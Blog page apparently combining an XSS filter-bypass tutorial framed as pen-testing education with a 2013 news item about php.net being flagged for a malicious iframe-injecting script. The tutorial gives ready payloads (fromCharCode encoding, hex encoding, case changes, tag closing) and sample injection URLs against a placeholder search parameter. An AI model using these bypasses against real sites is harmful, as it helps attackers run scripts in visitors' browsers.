Free Licenses.Blogspot.Com: PHP

<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<div>
<h2 style="text-align: center;">
<span style="color: red;">Bypassing the XSS Filters :<br />Advanced XSS Tutorials for Web application Pen Testing</span></h2>
<br /></div>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
Hi friends, last time, i explained what is XSS and how an attacker can inject malicious script in your site. As i promised earlier, i am writing this advanced XSS tutorial for you(still more articles will come)</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
</div>
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
</div>
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
</div>
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxNgeVIGlsWmiE8xEw-wLpGaWS6kY52c2gnz-d-_aQyKqx16VCbLh6JmvBBo9_uS3ZvaRysdSyIrv4wMd-J37eidLau4rCU8L0jPpYXa_SyzCjXwakPO8Ax6OBSYlU8D8O8HpasR8-oXWr/s1600/XSS+Vulnerability+Tutorial+BreakTheSec.png" imageanchor="1" style="color: #888888; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxNgeVIGlsWmiE8xEw-wLpGaWS6kY52c2gnz-d-_aQyKqx16VCbLh6JmvBBo9_uS3ZvaRysdSyIrv4wMd-J37eidLau4rCU8L0jPpYXa_SyzCjXwakPO8Ax6OBSYlU8D8O8HpasR8-oXWr/s1600/XSS+Vulnerability+Tutorial+BreakTheSec.png" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(238, 238, 238); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; max-width: 100%; padding: 5px; position: relative;" /></a></div>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">.</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Sometimes, website owner use XSS filters(WAF) to protect against XSS vulnerability.</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For eg: if you put the <scirpt>alert("hi")</scirpt></span></div>
, the Filter will <span class="IL_AD" id="IL_AD5" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">escape</span><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;"> the "(quote) character , so the script will become</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
<script>alert(>xss detected<)</script></blockquote>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Now this script won't work. Likewise Filters use different type of filtering method to give protection against the XSS.  In this case, we can use some tricks to bypass the filter.  Here i am going to cover that only. </span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<h2 style="background-color: white; color: #990000; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 11px; font-stretch: normal; margin: 0px 0px 1em; position: relative;">
1.Bypassing magic_quotes_gpc</h2>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">The magic_quotes_gpc=ON is a PHP setting(configured in PHP.ini File) , it </span><span class="IL_AD" id="IL_AD4" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">escapes</span><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">the every ' (single-quote), " (double quote) and \  with a backslash automatically.</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For Eg:</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;"><scirpt>alert("hi");</scirpt></span> will be filtered as <script>alert(\hi\)</script>.so the script won't work now.<br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">This is well known filtering method, but we can easily bypass this filter by using ASCII characters instead.</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For Eg:  alert("hi"); can be converted to</span><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</blockquote>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">so the script will become <script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script>.  In this case there is no "(quotes) or '(single quotes) or / so the filter can't filter this thing.  Yes, it will successfully run the script.</span><br />
<div class="info_box" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
String.fromCharCode() is a javascript function that converts ASCII value to Characters.</div>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<b style="background-color: white; color: #274e13; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">How to convert to ASCII values?</b><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">There are some online sites that converts to ASCII character. But i suggest you to use</span><a href="https://addons.mozilla.org/en-US/firefox/addon/hackbar/" style="background-color: white; color: #888888; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-decoration: none;">Hackbar Mozilla addon </a><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">.</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">After installing hackbar add on ,press F9.  It will open the small box above the url bar. click the XSS->String.fromCharCode()</span><br />
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
<a href="http://1.bp.blogspot.com/-HOO_mqpXuys/TvdV-D5KW2I/AAAAAAAABHs/QHEmx1FBjgY/s1600/XSS+breaking+security.jpg" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="http://1.bp.blogspot.com/-HOO_mqpXuys/TvdV-D5KW2I/AAAAAAAABHs/QHEmx1FBjgY/s1600/XSS+breaking+security.jpg" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(238, 238, 238); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; max-width: 100%; padding: 5px; position: relative;" /></a></div>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
<a href="http://4.bp.blogspot.com/-JqB82lpCwjQ/TvdV_l4bE7I/AAAAAAAABH0/21POwKEv2jc/s1600/XSS+bypassing+filters.jpg" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="http://4.bp.blogspot.com/-JqB82lpCwjQ/TvdV_l4bE7I/AAAAAAAABH0/21POwKEv2jc/s1600/XSS+bypassing+filters.jpg" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(238, 238, 238); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; max-width: 100%; padding: 5px; position: relative;" /></a></div>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Now it will popup small window. enter </span><span class="IL_AD" id="IL_AD6" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">the code</span><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">for instance alert("Hi").  click ok button.  Now we got the output.</span><br />
<div class="separator" style="background-color: white; clear: both; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px; text-align: center;">
<a href="http://3.bp.blogspot.com/-9tuNcvwOvx4/TvdV7zrQlwI/AAAAAAAABHk/uzUWnsyk5ls/s1600/xss+advanced+tutorial.jpg" style="color: #888888; margin-left: 1em; margin-right: 1em; text-decoration: none;"><img border="0" src="http://3.bp.blogspot.com/-9tuNcvwOvx4/TvdV7zrQlwI/AAAAAAAABHk/uzUWnsyk5ls/s1600/xss+advanced+tutorial.jpg" style="-webkit-box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; border: 1px solid rgb(238, 238, 238); box-shadow: rgba(0, 0, 0, 0.0980392) 1px 1px 5px; box-sizing: border-box; max-width: 100%; padding: 5px; position: relative;" /></a></div>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">copy the code into the <script></script> inside and insert in the vulnerable sites</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<i style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For eg: </i><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
hxxp://vulnerable-site/search?q=<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 104, 105, 34, 41, 59)</script></blockquote>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<h2 style="background-color: white; color: #274e13; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 11px; font-stretch: normal; margin: 0px 0px 1em; position: relative;">
2.HEX Encoding</h2>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">we can encode our whole script into HEX code so that it can't be filtered. </span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For example:  <script>alert("Hi");</script> can be convert to HEX as:</span><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e</blockquote>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Now put the code in the vulnerable site request.</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For ex: </span><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
hxxp://vulnerable-site/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%48%69%22%29%3b%3c%2f%73%63%72%69%70%74%3e</blockquote>
<b style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;"> Converting to HEX:</b><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">This site will convert to hex code: http://centricle.com/tools/ascii-hex/ </span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<h2 style="background-color: white; color: #990000; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 11px; font-stretch: normal; margin: 0px 0px 1em; position: relative;">
3.Bypassing using Obfuscation</h2>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Some website admin put the </span><i style="background-color: white; color: #cc0000; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">script</i><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">,</span><i style="background-color: white; color: #cc0000; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">alert</i><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;"> in restricted word list.  so whenever you input this</span><span class="IL_AD" id="IL_AD3" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">keywords</span><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">, the filter will remove it and will give error message like "you are not allowed to search this". This can bypassed by changing the case of the keywords(namely Obfuscation). </span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">For eg:</span><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
<script>ALeRt("hi");</script></blockquote>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">This bypass technique rarely works but giving trial is worth. </span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<h2 style="background-color: white; color: #38761d; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 11px; font-stretch: normal; margin: 0px 0px 1em; position: relative;">
4. Closing Tag</h2>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Sometimes putting "> at the beginning of the code will work. </span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
"><script>alert("Hi");</script></blockquote>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">This will end the previous opened tag and open our script tag.</span><br />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Example:</span><br />
<blockquote class="tr_bq" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
hxxp://vulnerable-site/search?q="><script>alert("Hi");</script></blockquote>
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<div style="background-color: white; color: #990000; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
<b>Conclusion:</b></div>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">From above article, it is clear that XSS filters alone not going to protect a site from the XSS attacks. If you really want to make your site more secure, then ask PenTesters to test </span><span class="IL_AD" id="IL_AD8" style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">your application</span><span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;"> or test yourself.</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">Also there are lot of different filter bypassing technique, i just covered some useful techniques for you.</span><br />
<br style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;" />
<div style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">
<b><span class="Apple-style-span" style="color: #cc0000;">Disclaimer:</span></b></div>
<span style="background-color: white; color: #666666; font-family: 'Trebuchet MS', Trebuchet, Verdana, sans-serif; font-size: 15.8400001525879px; line-height: 20.5919990539551px;">This article is intended for educational purpose only.</span></div>

Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing

Bypassing the XSS Filters : Advanced XSS Tutorials for Web application Pen Testing Hi friends, last time, i explained what is XSS and...

+ Read more »

<div dir="ltr" style="text-align: left;" trbidi="on">
<div id="aim19124085545634443272" style="background-color: white; color: #555555; font-family: arial, sans-serif; font-size: 14px; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
<div style="margin: 0px; outline: 0px; padding: 0px;">
<div class="separator" style="clear: both; margin: 0px; outline: 0px; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip73j1Kvmec7KmKdCRd3utTbXMSKzpBxpaZuD0P0ydqOzw9VIq9YjR_riDfLcV8ikIih4-KC6faKCXfOn_3of5kOe0f3mxD76oQ6N4SszapSFDBwPV62c3vMZRaDMacAsJGPbe7g7meqE/s1600/PHP.Net+Malware.jpg" imageanchor="1" style="clear: left; color: #034e9d; float: left; margin: 0px 1em 1em 0px; outline: 0px; padding: 0px; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEip73j1Kvmec7KmKdCRd3utTbXMSKzpBxpaZuD0P0ydqOzw9VIq9YjR_riDfLcV8ikIih4-KC6faKCXfOn_3of5kOe0f3mxD76oQ6N4SszapSFDBwPV62c3vMZRaDMacAsJGPbe7g7meqE/s728/PHP.Net+Malware.jpg" style="-webkit-transition: border 0.2s linear; border: 1px solid rgb(204, 204, 204); clear: both; margin: 0px 5px 5px 0px; max-width: 720px !important; outline: 0px; padding: 2px !important; transition: border 0.2s linear;" /></a></div>
If you are today trying to visit the <b style="margin: 0px; outline: 0px; padding: 0px;"><i style="margin: 0px; outline: 0px; padding: 0px;">php.net</i></b> website, an official website of the PHP scripting language, you will likely see the above shown result, instead of the original website.</div>
<div style="margin: 0px; outline: 0px; padding: 0px;">
</div>
</div>
<div align="center" style="background-color: white; color: #555555; font-family: arial, sans-serif; font-size: 14px; line-height: 24px; margin: 0px; outline: 0px; padding: 0px;">
<ins class="adsbygoogle" data-ad-client="ca-pub-7983783048239650" data-ad-slot="3873563364" style="display: inline-block; height: 90px; margin: 0px; outline: 0px; padding: 0px; width: 728px;"></ins></div>
<div id="aim29124085545634443272" style="background-color: white; color: #555555; font-family: arial, sans-serif; font-size: 14px; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: justify;">
<div style="margin: 0px; outline: 0px; padding: 0px;">
Chrome and Firefox is currently flagging the site as "<i style="margin: 0px; outline: 0px; padding: 0px;">suspicious</i>" and contains malware that can harm your computer.</div>
<div style="margin: 0px; outline: 0px; padding: 0px;">
<div class="separator" style="clear: both; margin: 0px; outline: 0px; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjiHlJExmAJfWEulYDYG5P9kxlqMk4KTYOoXngRH9J0JDP6IrmAyxWPoDXKdnWNzKn0amDWQN7tLzNowyH1kE3lW2w8ztpZc1s66wq4yCJYX3YC6B-TnApT7Xa9mJmpv3hkCXSl5HldWI/s1600/php_website_malware.png" imageanchor="1" style="clear: left; color: #034e9d; float: left; margin: 0px 1em 1em 0px; outline: 0px; padding: 0px; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjiHlJExmAJfWEulYDYG5P9kxlqMk4KTYOoXngRH9J0JDP6IrmAyxWPoDXKdnWNzKn0amDWQN7tLzNowyH1kE3lW2w8ztpZc1s66wq4yCJYX3YC6B-TnApT7Xa9mJmpv3hkCXSl5HldWI/s728/php_website_malware.png" style="-webkit-transition: border 0.2s linear; border: 1px solid rgb(204, 204, 204); clear: both; margin: 0px 5px 5px 0px; max-width: 720px !important; outline: 0px; padding: 2px !important; transition: border 0.2s linear;" /></a></div>
</div>
<div style="margin: 0px; outline: 0px; padding: 0px;">
According to Google's Webmaster Tools, the script at <b style="margin: 0px; outline: 0px; padding: 0px;"><i style="margin: 0px; outline: 0px; padding: 0px;">http://static.php.net/www.php.net/userprefs.js</i></b> was included as suspicious, and Google's <a href="http://www.google.com/safebrowsing/diagnostic?site=http://php.net/" style="color: #034e9d; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">Safe Browsing diagnostics</a> for<i style="margin: 0px; outline: 0px; padding: 0px;"> php.net</i> do suggest that malware has been present on the site in the last 90 days:</div>
<blockquote class="tr_bq" style="color: #59666f; margin: 20px; outline: 0px; overflow: hidden; padding: 10px;">
"<i style="margin: 0px; outline: 0px; padding: 0px;">Of the 1513 pages we tested on the site over the past 90 days, 4 page(s) resulted in malicious software being downloaded and installed without user consent.</i>"</blockquote>
<blockquote class="tr_bq" style="color: #59666f; margin: 20px; outline: 0px; overflow: hidden; padding: 10px;">
"<i style="margin: 0px; outline: 0px; padding: 0px;">Malicious software includes 4 trojan(s). Malicious software is hosted on 4 domain(s), including cobbcountybankruptcylawyer.com/, stephaniemari.com/, northgadui.com/ . 3 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including stephaniemari.com/,northgadui.com/, satnavreviewed.co.uk/ .</i>" </blockquote>
The obfuscated JavaScript "<a href="https://news.ycombinator.com/item?id=6604251" style="color: #034e9d; margin: 0px; outline: 0px; padding: 0px; text-decoration: none;">userprefs.js</a>" inserts a hidden iframe into the webpage, which loads content from an external site known for distributing malware.<br style="margin: 0px; outline: 0px; padding: 0px;" /><div class="separator" style="clear: both; margin: 0px; outline: 0px; padding: 0px; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHUm3inwhub1jX7g4BVnhRm7uRJ8QQfQ70WUJpxKIceUmV0dZAJrPsa6ryCvvPgkRdJvUsOKXN4Oqm14tCN5EE2Njj14QAH6CO-40LjrOhEBog5wFNe3pnLribtV1HaPzu35lmfkXNTVQ/s1600/PHP.Net+flagged+as+'Contains+Malware'+by+Google.png" imageanchor="1" style="clear: left; color: #034e9d; float: left; margin: 0px 1em 1em 0px; outline: 0px; padding: 0px; text-decoration: none;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHUm3inwhub1jX7g4BVnhRm7uRJ8QQfQ70WUJpxKIceUmV0dZAJrPsa6ryCvvPgkRdJvUsOKXN4Oqm14tCN5EE2Njj14QAH6CO-40LjrOhEBog5wFNe3pnLribtV1HaPzu35lmfkXNTVQ/s728/PHP.Net+flagged+as+'Contains+Malware'+by+Google.png" style="-webkit-transition: border 0.2s linear; border: 1px solid rgb(204, 204, 204); clear: both; margin: 0px 5px 5px 0px; max-width: 720px !important; outline: 0px; padding: 2px !important; transition: border 0.2s linear;" /></a></div>
<div style="margin: 0px; outline: 0px; padding: 0px;">
This suggests that the website may have been compromised recently. Well, Google's Safe Browsing team will be looking into the issue and we will update this article if we hear anything from Google or PHP site owner.<br style="margin: 0px; outline: 0px; padding: 0px;" /><br style="margin: 0px; outline: 0px; padding: 0px;" /><b style="margin: 0px; outline: 0px; padding: 0px;">Update (1:42 PM Thursday, October 24, 2013 GMT):</b> It seems that the issue has been resolved by admins and PHP.net is back as a normal clean website, after removing malicious scripts.</div>
<div style="margin: 0px; outline: 0px; padding: 0px;">
</div>
</div>
